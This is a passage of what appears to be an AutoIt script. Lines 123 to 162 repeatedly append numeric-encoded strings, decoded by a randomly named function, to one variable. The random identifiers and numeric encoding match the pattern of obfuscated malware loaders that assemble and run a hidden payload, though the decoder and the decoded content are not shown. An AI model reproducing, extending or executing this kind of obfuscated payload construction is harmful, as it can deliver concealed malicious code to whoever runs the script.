  123. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,57,54,56,55,56,59,56,6,57,58,57,56,56,6,57,55,56,6,57,58,56,54,57,55,57,58,57,54,57,54,57,54,57,54,56,57,56,57,57,56,57,58,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,57,56,5,56,55,57,56,57,55,56,6,56,60,57,54,56,6,56,56,56,55,57,55,56,60,56,53,56,60,56,60,56,60,56,60,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56")
  124. $lmascgp &= btbxjymrfgaetpa("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57")
  125. $lmascgp &= btbxjymrfgaetpa("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56")
  126. $lmascgp &= btbxjymrfgaetpa("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54")
  127. $lmascgp &= btbxjymrfgaetpa("57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,58,57,57,57,54,56,60,57,54,57,54,57,54,57,54,57,55,56,6,57,59,56,59,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,57,55,56,6,56,5,56,57,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,60,57")
  128. $lmascgp &= btbxjymrfgaetpa("57,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,57,55,56,6,56,6,56,55,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,56,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,57,55,56,6,56,53,56,53,57,55,57,58,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,59,56,6,56,6,57,56,56,6,56,55,57,57,56,56,57,54,56,58,57,54,57,54,57,54,57,54,57,55,56,6,56,54,56,5,57,55,57,58,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5")
  129. $lmascgp &= btbxjymrfgaetpa("56,56,56,55,56,59,57,57,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,54,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,56,6,56,5,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,57,55,56,6,56,5,57,55,57,55,57,59,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,56")
  130. $lmascgp &= btbxjymrfgaetpa("55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,57,55,56,6,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,59,57,55,57,59,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,56,56,60,56,60,56,60")
  131. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,56,56,60,56")
  132. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,58,56,60")
  133. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57,59,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,59,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,56,5,56,6,56,55,57")
  134. $lmascgp &= btbxjymrfgaetpa("58,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,55,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,57,59,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,57,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56")
  135. $lmascgp &= btbxjymrfgaetpa("56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,6,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57")
  136. $lmascgp &= btbxjymrfgaetpa("59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,56,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,55,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,56,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,56,58,57,55,56,5,57,54,57,54")
  137. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,6,56,5,56,6,56,55,56,5,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,59,56,6,56,55,56,60,57,55,56,6,56,55,56,57,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,59,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,58,56,6,57")
  138. $lmascgp &= btbxjymrfgaetpa("54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57,54,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,56,57,55,56,5,57,54,57,54,57,54,57,54,56,6,57,58,56,53,56,55,56,60,57,57,56,6,56,5,56,6,56,55,56,57,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,56,60")
  139. $lmascgp &= btbxjymrfgaetpa("56,5,57,55,56,5,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,5,56,60,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,6,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,56")
  140. $lmascgp &= btbxjymrfgaetpa("5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,5,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,53,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,55,57,55,56,6,57,54,57,54")
  141. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,59,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56")
  142. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,6,56,55,57,55,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,54,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,57,57,59,56,55,57,55,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,56,5,56,6,56,55,57,55,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6")
  143. $lmascgp &= btbxjymrfgaetpa("57,56,56,6,56,55,56,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,56,56,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,56,6,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,58,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56")
  144. $lmascgp &= btbxjymrfgaetpa("6,56,57,56,60,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,5,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,57,55,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,57,57,57,55,56,6,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,57,57")
  145. $lmascgp &= btbxjymrfgaetpa("56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,56,5,57")
  146. $lmascgp &= btbxjymrfgaetpa("54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,58,57,55,56,53,57,54,57,54,57,54")
  147. $lmascgp &= btbxjymrfgaetpa("57,54,56,6,56,5,56,6,56,55,56,53,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,59,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,55,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,57,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57")
  148. $lmascgp &= btbxjymrfgaetpa("56,56,6,56,55,56,54,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,53,57,57,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,54,57,57,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,59,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6")
  149. $lmascgp &= btbxjymrfgaetpa("56,55,56,6,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,56,54,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,56,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,59,56,6,56")
  150. $lmascgp &= btbxjymrfgaetpa("60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,56,58,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,60,57,55,56,53,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,60,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,55,56,60,57,54,57,59,57,54")
  151. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,55,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,5,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,6,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,59,57,55,56,54,57,54,57,54,57,54,57")
  152. $lmascgp &= btbxjymrfgaetpa("54,56,6,56,5,56,6,56,55,56,59,56,56,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,56,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,57,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,6,56,55,56,57,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,58,56,57,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,6,56,60,56,60")
  153. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,56,6,57,58,57,56,57,55,57,55,56,6,57,59,56,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,60,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,58,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,56,56,55,56,6,56,60,56,55,56,60,57,55,56,6,56,6,56,59,57")
  154. $lmascgp &= btbxjymrfgaetpa("55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,54,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,54,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,54,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,60,56,60,56,60,56,60")
  155. $lmascgp &= btbxjymrfgaetpa("56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,6,56,56,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,57,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,57,57,56,6,57,56,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,58,57")
  156. $lmascgp &= btbxjymrfgaetpa("59,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,53,56,60,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,59,56,6,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,6,56,6,57,56,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,60,56,5,57,55,56,54,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,56,56,6,57,56,56,6,56,55,57,54,56,60,57,54,56,5")
  157. $lmascgp &= btbxjymrfgaetpa("57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,54,57,59,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,53,56,60,56,6,57,56,56,6,56,55,57,58,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,55,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,57,57,56,6,57,56,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,56,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,57,57,57,56,60,56,59,56,60,56,60,56")
  158. $lmascgp &= btbxjymrfgaetpa("60,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,58,56,55,57,55,56,60,57,54,56,6,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,6,57,58,56,55,57,56,56,59,56,56,56,6,56,5,56,56,56,55,56,54,56,56,56,6,57,56,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,57,55,57,55,56,55,57,54,57,54,57,54,57,54,56,6,57,58,56,55,57,56,56,60")
  159. $lmascgp &= btbxjymrfgaetpa("57,57,56,6,56,5,56,56,56,55,56,54,56,60,56,6,57,56,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,57,57,56,6,57,56,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,6,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,57,56,56,60,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56")
  160. $lmascgp &= btbxjymrfgaetpa("60,57,55,56,6,56,53,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,54,57,57,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,56,56,6,57,56,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,55,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,6,56,55,56,56,57,57,56,60,56,59,56,60,56,60,56,60,56,60,56,6,57,56,56,6,56,55")
  161. $lmascgp &= btbxjymrfgaetpa("56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,56,57,58,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,54,56,6,56,6,57,56,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,57,56,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,55,56,60,56,6,57,56,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60,56")
  162. $lmascgp &= btbxjymrfgaetpa("6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,59,57,56,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,6,56,6,57,56,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,56,56,55,57,56,57,57,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,58,57,56,56,6,57,55,56,6,56,60,56,54,57,55,56,55,57,54,57,54,57,54,57,54,56,6,56,5,56,56,56,55,56,56,56,56,56,6,57,56,56,6,56,55,56,6,56,60,57,54,57,57,57,54")
